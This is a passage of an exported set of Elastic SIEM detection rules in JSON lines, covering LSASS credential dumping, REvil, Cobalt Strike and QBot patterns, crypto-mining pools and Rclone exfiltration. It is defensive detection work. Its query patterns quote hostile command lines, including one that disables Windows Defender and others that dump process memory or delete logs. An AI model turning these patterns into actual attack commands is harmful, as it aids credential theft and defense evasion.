winlog.event_data.GrantedAccess:(\"0x1410\" OR \"0x410\")) OR (process.executable:C\\:\\\\ProgramData\\\\VMware\\\\VMware\\ Tools\\\\* AND process.executable:*\\\\vmtoolsd.exe) OR (process.executable:\"C\\:\\\\WINDOWS\\\\system32\\\\svchost.exe\" AND winlog.event_data.GrantedAccess:\"0x100000\") OR (process.executable:(\"C\\:\\\\WINDOWS\\\\system32\\\\wbem\\\\wmiprvse.exe\" OR \"C\\:\\\\Windows\\\\syswow64\\\\MsiExec.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\msiexec.exe\") AND winlog.event_data.GrantedAccess:(\"0x1410\" OR \"0x410\")) OR (process.executable:(*\\\\thor.exe OR *\\\\thor64.exe) AND winlog.event_data.GrantedAccess:(\"0x40\" OR \"0x1010\")) OR (process.executable:*\\\\explorer.exe AND winlog.event_data.GrantedAccess:\"0x401\") OR (process.executable:\"C\\:\\\\Windows\\\\system32\\\\wininit.exe\" AND winlog.event_data.GrantedAccess:\"0x1000000\") OR (process.executable:\"C\\:\\\\Windows\\\\system32\\\\MRT.exe\" AND winlog.event_data.GrantedAccess:(\"0x1410\" OR \"0x1418\")) OR (process.executable:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\*) AND winlog.event_data.GrantedAccess:(\"0x1410\" OR \"0x410\")) OR (process.executable:C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\\\Edge\\\\Application\\\\* AND process.executable:*\\\\Installer\\\\setup.exe))))","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects process access to LSASS memory with suspicious access flags and from a suspicious folder Author: Florian Roth. License: ","enabled":false,"false_positives":["Legitimate software accessing LSASS process for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7afd24e2-2d8b-aa0f-0c29-72273ce19e0d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"LSASS Access from Program in Suspicious Folder","query":"((winlog.event_data.TargetImage:*\\\\lsass.exe AND winlog.event_data.GrantedAccess:(*10 OR *30 OR *50 OR *70 OR *90 OR *B0 OR *D0 OR *F0 OR *18 OR *38 OR *58 OR *78 OR *98 OR *B8 OR *D8 OR *F8 OR *1A OR *3A OR *5A OR *7A OR *9A OR *BA OR *DA OR *FA OR *0x14C2 OR *FF) AND process.executable:(*\\\\Temp\\\\* OR *\\\\Users\\\\Public\\\\* OR *\\\\PerfLogs\\\\* OR *\\\\AppData\\\\* OR *\\\\Temporary*)) AND (NOT ((process.executable:*C\\:\\\\Users\\\\* AND process.executable:*\\\\AppData\\\\Local\\\\* AND process.executable:(*\\\\Microsoft\\ VS\\ Code\\\\Code.exe OR *\\\\software_reporter_tool.exe OR *\\\\DropboxUpdate.exe) AND winlog.event_data.GrantedAccess:\"0x410\") OR (process.executable:C\\:\\\\Windows\\\\Temp\\\\asgard2\\-agent\\\\* AND process.executable:(*\\\\thor64.exe OR *\\\\thor.exe) AND winlog.event_data.GrantedAccess:(\"0x1fffff\" OR \"0x1010\")))))","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects process access to LSASS memory with suspicious access flags Author: Florian Roth. License: ","enabled":false,"false_positives":["Legitimate software accessing LSASS process for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7b2d0808-70a5-35a3-3baf-e28c5f678aa2","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious GrantedAccess Flags on LSASS Access","query":"((winlog.event_data.TargetImage:*\\\\lsass.exe AND winlog.event_data.GrantedAccess:(*10 OR *30 OR *50 OR *70 OR *90 OR *B0 OR *D0 OR *F0 OR *18 OR *38 OR *58 OR *78 OR *98 OR *B8 OR *D8 OR *F8 OR *1A OR *3A OR *5A OR *7A OR *9A OR *BA OR *DA OR *FA OR *0x14C2)) AND (NOT ((process.executable:(\"C\\:\\\\WINDOWS\\\\system32\\\\taskmgr.exe\" OR \"C\\:\\\\Program\\ Files\\\\Malwarebytes\\\\Anti\\-Malware\\\\MBAMService.exe\" OR \"C\\:\\\\PROGRAMDATA\\\\MALWAREBYTES\\\\MBAMSERVICE\\\\ctlrupdate\\\\mbupdatr.exe\" OR \"C\\:\\\\WINDOWS\\\\system32\\\\taskhostw.exe\" OR C\\:\\\\Users\\\\*\\\\AppData\\\\Local\\\\Programs\\\\Microsoft\\ VS\\ Code\\\\Code.exe OR \"C\\:\\\\Program\\ Files\\\\Windows\\ Defender\\\\MsMpEng.exe\" OR \"C\\:\\\\Windows\\\\SysWOW64\\\\msiexec.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\msiexec.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\lsass.exe\" OR \"C\\:\\\\WINDOWS\\\\System32\\\\perfmon.exe\")) OR (process.executable:C\\:\\\\ProgramData\\\\Microsoft\\\\Windows\\ Defender\\\\* AND process.executable:*\\\\MsMpEng.exe) OR (process.executable:C\\:\\\\Program\\ Files\\\\WindowsApps\\\\* AND process.executable:*\\\\GamingServices.exe AND winlog.event_data.GrantedAccess:(\"0x1410\" OR \"0x410\" OR \"0x1040\")) OR (process.executable:(*\\\\PROCEXP64.EXE OR *\\\\PROCEXP.EXE) AND winlog.event_data.GrantedAccess:(\"0x1410\" OR \"0x410\")) OR (process.executable:C\\:\\\\ProgramData\\\\VMware\\\\VMware\\ Tools\\\\* AND process.executable:*\\\\vmtoolsd.exe) OR (process.executable:(C\\:\\\\Progra\\ Files\\\\* OR C\\:\\\\Progra\\ Files\\ \$x86\$\\\\*) AND process.executable:*Antivirus*) OR (process.executable:\"C\\:\\\\WINDOWS\\\\system32\\\\wbem\\\\wmiprvse.exe\" AND winlog.event_data.GrantedAccess:(\"0x1410\" OR \"0x410\")) OR (process.executable:\"C\\:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe\" AND winlog.event_data.GrantedAccess:\"0x1010\") OR (process.executable:\"C\\:\\\\WINDOWS\\\\system32\\\\MRT.exe\" AND winlog.event_data.GrantedAccess:\"0x1418\") OR (process.executable:\"C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\McAfee\\\\MMSSHost\\\\MMSSHOST.exe\") OR (process.executable:C\\:\\\\Windows\\\\Temp\\\\asgard2\\-agent\\\\* AND process.executable:(*\\\\thor64.exe OR *\\\\thor.exe) AND winlog.event_data.GrantedAccess:(\"0x1fffff\" OR \"0x1010\")) OR (process.executable:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\* OR C\\:\\\\WINDOWS\\\\system32\\\\*) AND winlog.event_data.GrantedAccess:(\"0x1410\" OR \"0x410\")) OR (process.executable:*C\\:\\\\Users\\\\* AND process.executable:*\\\\AppData\\\\Local\\\\* AND process.executable:(*\\\\Microsoft\\ VS\\ Code\\\\Code.exe OR *\\\\software_reporter_tool.exe OR *\\\\DropboxUpdate.exe) AND winlog.event_data.GrantedAccess:\"0x410\"))))","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects process access to LSASS which is typical for Mimikatz (0x1000 PROCESS_QUERY_ LIMITED_INFORMATION, 0x0400 PROCESS_QUERY_ INFORMATION \"only old versions\", 0x0010 PROCESS_VM_READ) Author: Sherif Eldeeb. License: ","enabled":false,"false_positives":["Some security products access LSASS in this way."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"5a0ee28d-fefc-398a-1417-d0b56baa4e19","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Mimikatz Detection LSASS Access","query":"((winlog.event_data.TargetImage:*\\\\lsass.exe AND winlog.event_data.GrantedAccess:(\"0x1410\" OR \"0x1010\" OR \"0x410\")) AND (NOT (process.executable:(C\\:\\\\Program\\ Files\\\\WindowsApps\\\\* OR C\\:\\\\Windows\\\\System32\\\\*) AND process.executable:*\\\\GamingServices.exe)))","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects process command line patterns and locations used by REvil group in Kaseya incident (can also match on other malware) Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"75b83a33-f652-e7eb-375a-b6e0b89b5d10","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"REvil Kaseya Incident Malware Patterns","query":"(process.command_line:(*C\\:\\\\Windows\\\\cert.exe* OR *Set\\-MpPreference\\ \\-DisableRealtimeMonitoring\\ $true\\ \\-DisableIntrusionPreventionSystem\\ $true\\ \\-DisableIOAVProtection\\ $true\\ \\-DisableScriptScanning\\ $true\\ \\-EnableControlledFolderAccess\\ Disabled\\ \\-EnableNetworkProtection\\ AuditMode\\ \\-Force\\ \\-MAPSReporting\\ Disabled* OR *del\\ \\/q\\ \\/f\\ c\\:\\\\kworking\\\\agent.crt* OR *Kaseya\\ VSA\\ Agent\\ Hot\\-fix* OR *\\\\AppData\\\\Local\\\\Temp\\\\MsMpEng.exe* OR *rmdir\\ \\/s\\ \\/q\\ %SystemDrive%\\\\inetpub\\\\logs* OR *del\\ \\/s\\ \\/q\\ \\/f\\ %SystemDrive%\\\\*.log* OR *c\\:\\\\kworking1\\\\agent.exe* OR *c\\:\\\\kworking1\\\\agent.crt*) AND process.executable:(\"C\\:\\\\Windows\\\\MsMpEng.exe\" OR \"C\\:\\\\Windows\\\\cert.exe\" OR \"C\\:\\\\kworking\\\\agent.exe\" OR \"C\\:\\\\kworking1\\\\agent.exe\"))","meta":{"from":"1m"},"severity":"critical","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects process connections to a Monero crypto mining pool Author: Florian Roth. License: ","enabled":false,"false_positives":["Legitimate use of crypto miners"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"a46c93b7-55ed-4d27-a41b-c259456c4746","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Linux Crypto Mining Pool Connections","query":"destination.domain:(\"pool.minexmr.com\" OR \"fr.minexmr.com\" OR \"de.minexmr.com\" OR \"sg.minexmr.com\" OR \"ca.minexmr.com\" OR \"us\\-west.minexmr.com\" OR \"pool.supportxmr.com\" OR \"mine.c3pool.com\" OR \"xmr\\-eu1.nanopool.org\" OR \"xmr\\-eu2.nanopool.org\" OR \"xmr\\-us\\-east1.nanopool.org\" OR \"xmr\\-us\\-west1.nanopool.org\" OR \"xmr\\-asia1.nanopool.org\" OR \"xmr\\-jp1.nanopool.org\" OR \"xmr\\-au1.nanopool.org\" OR \"xmr.2miners.com\" OR \"xmr.hashcity.org\" OR \"xmr.f2pool.com\" OR \"xmrpool.eu\" OR \"pool.hashvault.pro\" OR \"moneroocean.stream\" OR \"monerocean.stream\")","meta":{"from":"1m"},"severity":"high","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects process connections to a Monero crypto mining pool Author: Florian Roth. License: ","enabled":false,"false_positives":["Legitimate use of crypto miners"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"fa5b1358-b040-4403-9868-15f7d9ab6329","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Windows Crypto Mining Pool Connections","query":"destination.domain:(\"pool.minexmr.com\" OR \"fr.minexmr.com\" OR \"de.minexmr.com\" OR \"sg.minexmr.com\" OR \"ca.minexmr.com\" OR \"us\\-west.minexmr.com\" OR \"pool.supportxmr.com\" OR \"mine.c3pool.com\" OR \"xmr\\-eu1.nanopool.org\" OR \"xmr\\-eu2.nanopool.org\" OR \"xmr\\-us\\-east1.nanopool.org\" OR \"xmr\\-us\\-west1.nanopool.org\" OR \"xmr\\-asia1.nanopool.org\" OR \"xmr\\-jp1.nanopool.org\" OR \"xmr\\-au1.nanopool.org\" OR \"xmr.2miners.com\" OR \"xmr.hashcity.org\" OR \"xmr.f2pool.com\" OR \"xmrpool.eu\" OR \"pool.hashvault.pro\" OR \"moneroocean.stream\" OR \"monerocean.stream\")","meta":{"from":"1m"},"severity":"high","tags":["T1496"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0034","reference":"","name":"Impact"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1496","name":"Resource Hijacking","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects process discovery commands Author: Ã–mer GÃ¼nal, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"4e2f5868-08d4-413d-899f-dc2f1508627b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Process Discovery","query":"process.executable:(*\\/ps OR *\\/top)","meta":{"from":"1m"},"severity":"low","tags":["T1057"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1057","name":"Process Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects process dump via legitimate sqldumper.exe binary Author: Kirill Kiryanov, oscd.community. License: ","enabled":false,"false_positives":["Legitimate MSSQL Server actions"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"23ceaf5c-b6f1-4a32-8559-f2ff734be516","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Dumping Process via Sqldumper.exe","query":"(process.executable:*\\\\sqldumper.exe AND process.command_line:(*0x0110* OR *0x01100\\:40*))","meta":{"from":"1m"},"severity":"medium","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects process injection using the signed Windows tool Mavinject32.exe Author: Florian Roth. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"17eb8e57-9983-420d-ad8a-2c4976c22eb8","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"MavInject Process Injection","query":"process.command_line:*\\ \\/INJECTRUNNING\\ *","meta":{"from":"1m"},"severity":"critical","tags":["T1055","T1218"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects process LSASS memory dump using Mimikatz, NanoDump, Invoke-Mimikatz, Procdump or Taskmgr based on the CallTrace pointing to ntdll.dll, dbghelp.dll or dbgcore.dll for win10, server2016 and up. Author: Samir Bousseaden, Michael Haag. License: ","enabled":false,"false_positives":["False positives are present when looking for 0x1410. Exclusions may be required."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"74a772dc-67da-9552-5aea-80960b7ed98d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"LSASS Memory Dump","query":"(winlog.event_data.TargetImage:*\\\\lsass.exe AND winlog.event_data.GrantedAccess:(*0x1038* OR *0x40* OR *0x1438* OR *0x143a*) AND winlog.event_data.CallTrace:(*dbghelp.dll* OR *dbgcore.dll* OR *ntdll.dll*))","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects process memory dump via comsvcs.dll and rundll32 Author: Modexp (idea). License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"09e6d5c0-05b8-4ff8-9eeb-043046ec774c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Process Dump via Comsvcs DLL","query":"((process.executable:*\\\\rundll32.exe OR winlog.event_data.OriginalFileName:\"RUNDLL32.EXE\") AND (process.command_line:*comsvcs* AND process.command_line:*MiniDump* AND process.command_line:*full*))","meta":{"from":"1m"},"severity":"medium","tags":["Credential Access","Defense Evasion","T1003","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]},{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects process patterns found in Cobalt Strike beacon activity (see reference for more details) Author: Florian Roth. License: ","enabled":false,"false_positives":["Other programs that cause these patterns (please report)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ea0b4d74-9082-6fc3-23ba-3ba9a1c68759","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"CobaltStrike Process Patterns","query":"((process.command_line:*\\\\cmd.exe\\ \\/C\\ whoami* AND process.parent.executable:C\\:\\\\Temp*) OR (process.command_line:*conhost.exe\\ 0xffffffff\\ \\-ForceV1* AND process.parent.command_line:(*\\/C\\ whoami* OR *cmd.exe\\ \\/C\\ echo* OR *\\ >\\ \\\\.\\\\pipe*)) OR (process.command_line:(*cmd.exe\\ \\/c\\ echo* OR *>\\ \\\\.\\\\pipe* OR *\\\\whoami.exe*) AND process.parent.executable:*\\\\dllhost.exe) OR (process.executable:*\\\\cmd.exe AND process.parent.executable:*\\\\runonce.exe AND process.parent.command_line:*\\\\runonce.exe))","meta":{"from":"1m"},"severity":"high","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Processes accessing the camera and microphone from suspicious folder Author: Den Iuzvyk. License: ","enabled":false,"false_positives":["Unlikely, there could be conferencing software running from a Temp folder accessing the devices"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"973f1ca9-3544-f967-7fad-01029a745989","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Camera and Microphone Access","query":"(winlog.event_data.TargetObject:*\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\CapabilityAccessManager\\\\ConsentStore\\\\* AND winlog.event_data.TargetObject:*\\\\NonPackaged* AND winlog.event_data.TargetObject:(*microphone* OR *webcam*) AND winlog.event_data.TargetObject:(*\\:#Windows#Temp#* OR *\\:#$Recycle.bin#* OR *\\:#Temp#* OR *\\:#Users#Public#* OR *\\:#Users#Default#* OR *\\:#Users#Desktop#*))","meta":{"from":"1m"},"severity":"high","tags":["T1123","T1125"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0009","reference":"","name":"Collection"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1123","name":"Audio Capture","reference":""},{"id":"T1125","name":"Video Capture","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects processes creating temp files related to PCRE.NET package Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0912cf06-5ef1-c26d-1b33-d4b45d82038f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"PCRE.NET Package Temp Files","query":"file.path:*\\\\AppData\\\\Local\\\\Temp\\\\ba9ea7344a4a5f591d6e5dc32a13494b\\\\*","meta":{"from":"1m"},"severity":"high","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects processes loading modules related to PCRE.NET package Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d6512ab6-e7d8-6894-0448-9e3d90273323","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"PCRE.NET Package Image Load","query":"file.path:*\\\\AppData\\\\Local\\\\Temp\\\\ba9ea7344a4a5f591d6e5dc32a13494b\\\\*","meta":{"from":"1m"},"severity":"high","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects programs that connect to typical malware back connect ports based on statistical analysis from two different sandbox system databases Author: Florian Roth. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"6f311a77-454d-0967-c95e-1572f7c394a3","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Typical Malware Back Connect Ports","query":"((winlog.event_data.Initiated:\"true\" AND destination.port:(\"4443\" OR \"2448\" OR \"8143\" OR \"1777\" OR \"1443\" OR \"243\" OR \"65535\" OR \"13506\" OR \"3360\" OR \"200\" OR \"198\" OR \"49180\" OR \"13507\" OR \"6625\" OR \"4444\" OR \"4438\" OR \"1904\" OR \"13505\" OR \"13504\" OR \"12102\" OR \"9631\" OR \"5445\" OR \"2443\" OR \"777\" OR \"13394\" OR \"13145\" OR \"12103\" OR \"5552\" OR \"3939\" OR \"3675\" OR \"666\" OR \"473\" OR \"5649\" OR \"4455\" OR \"4433\" OR \"1817\" OR \"100\" OR \"65520\" OR \"1960\" OR \"1515\" OR \"743\" OR \"700\" OR \"14154\" OR \"14103\" OR \"14102\" OR \"12322\" OR \"10101\" OR \"7210\" OR \"4040\" OR \"9943\")) AND (NOT ((process.executable:*\\\\Program\\ Files*) OR (destination.ip:(10.* OR 192.168.* OR 172.16.* OR 172.17.* OR 172.18.* OR 172.19.* OR 172.20.* OR 172.21.* OR 172.22.* OR 172.23.* OR 172.24.* OR 172.25.* OR 172.26.* OR 172.27.* OR 172.28.* OR 172.29.* OR 172.30.* OR 172.31.* OR 127.*)))))","meta":{"from":"1m"},"severity":"medium","tags":["T1571"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects programs with network connections running in suspicious files system locations Author: Florian Roth. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7b434893-c57d-4f41-908d-6a17bf1ae98f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Program Location with Network Connections","query":"(process.executable:(*\\\\Users\\\\All\\ Users\\\\* OR *\\\\Users\\\\Default\\\\* OR *\\\\Users\\\\Public\\\\* OR *\\\\Users\\\\Contacts\\\\* OR *\\\\Users\\\\Searches\\\\* OR *\\\\config\\\\systemprofile\\\\* OR *\\\\Windows\\\\Fonts\\\\* OR *\\\\Windows\\\\IME\\\\* OR *\\\\Windows\\\\addins\\\\*) OR process.executable:*\\\\$Recycle.bin OR process.executable:C\\:\\\\Perflogs\\\\*)","meta":{"from":"1m"},"severity":"high","tags":["T1105"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects PsExec service installation and execution events (service and Sysmon) Author: Thomas Patzke. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7b58545a-f4db-7760-f283-8fe4195a961c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"PsExec Tool Execution","query":"file.path:*\\\\PSEXESVC.exe","meta":{"from":"1m"},"severity":"low","tags":["T1569"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1569","name":"System Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects PsExec service installation and execution events (service and Sysmon) Author: Thomas Patzke. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"fa91cc36-24c9-41ce-b3c8-3bbc3f2f67ba","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"PsExec Tool Execution","query":"(process.executable:*\\\\PSEXESVC.exe AND user.name:NT\\ AUTHORITY\\\\SYSTEM*)","meta":{"from":"1m"},"severity":"low","tags":["T1569"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1569","name":"System Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects QBot like process executions Author: Florian Roth. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"4fcac6eb-0287-4090-8eea-2602e4c20040","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"QBot Process Creation","query":"(((process.parent.executable:*\\\\WinRAR.exe AND process.executable:*\\\\wscript.exe) OR process.command_line:*\\ \\/c\\ ping.exe\\ \\-n\\ 6\\ 127.0.0.1\\ &\\ type\\ *) OR (process.command_line:*regsvr32.exe* AND process.command_line:*C\\:\\\\ProgramData* AND process.command_line:*.tmp*))","meta":{"from":"1m"},"severity":"critical","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Rclone config file being created Author: Aaron Greetham (@beardofbinary) - NCC Group. License: ","enabled":false,"false_positives":["Legitimate Rclone usage (rare)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"70a22e55-7c7b-22e4-1318-5bc07116623d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Rclone Config File Creation","query":"(file.path:*\\:\\\\Users\\\\* AND file.path:*\\\\.config\\\\rclone\\\\*)","meta":{"from":"1m"},"severity":"high","tags":["T1567"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0010","reference":"","name":"Exfiltration"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1567","name":"Exfiltration Over Web Service","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Rclone which is commonly used by ransomware groups for exfiltration Author: Aaron Greetham (@beardofbinary) - NCC Group. License: ","enabled":false,"false_positives":["Legitimate Rclone usage (rare)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1208c942-833a-61bb-8733-5b45a36d92c1","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Rclone Execution via Command Line or PowerShell","query":"(process.command_line:(*\\ pass\\ * OR *\\ user\\ * OR *\\ copy\\ * OR *\\ mega\\ * OR *\\ sync\\ * OR *\\ config\\ * OR *\\ lsd\\ * OR *\\ remote\\ * OR *\\ ls\\ *) AND (winlog.event_data.Description:\"Rsync\\ for\\ cloud\\ storage\" OR (process.executable:*\\\\rclone.exe AND process.parent.executable:(*\\\\PowerShell.exe OR *\\\\cmd.exe))))","meta":{"from":"1m"},"severity":"high","tags":["T1567"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0010","reference":"","name":"Exfiltration"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1567","name":"Exfiltration Over Web Service","reference":""}]}],"version":1,"references":[""]}
